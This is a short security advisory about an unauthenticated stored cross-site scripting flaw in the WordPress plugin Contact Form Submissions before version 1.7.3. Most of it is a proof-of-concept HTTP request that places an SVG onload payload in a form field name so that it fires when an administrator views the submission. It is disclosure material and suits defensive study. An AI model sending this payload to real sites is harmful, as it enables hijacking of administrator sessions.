Contact Form Submissions < 1.7.3 - Unauthenticated Stored XSS

Description
The plugin does not sanitise and escape additional fields in contact form requests before outputting them in the related submission. As a result, unauthenticated attacker could perform Cross-Site Scripting attacks against admins viewing the malicious submission

Proof of Concept

POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470

X-Requested-With: XMLHttpRequest

Content-Length: 726

Connection: close



-----------------------------243715402120191890871051639470

Content-Disposition: form-data; name="your-name"



Attacker

-----------------------------243715402120191890871051639470

Content-Disposition: form-data; name="your-email"



[email protected]

-----------------------------243715402120191890871051639470

Content-Disposition: form-data; name="your-subject"



XSS Injection

-----------------------------243715402120191890871051639470

Content-Disposition: form-data; name="your-message"



Sorry, not sorry.

-----------------------------243715402120191890871051639470

Content-Disposition: form-data; name="<svg/onload=(alert)(/XSS/)>"



Injected

-----------------------------243715402120191890871051639470--



The XSS will be triggered when an admin view the related submission 

References

https://wpscan.com/vulnerability/d02cf542-2d75-46bc-a0df-67bbe501cc89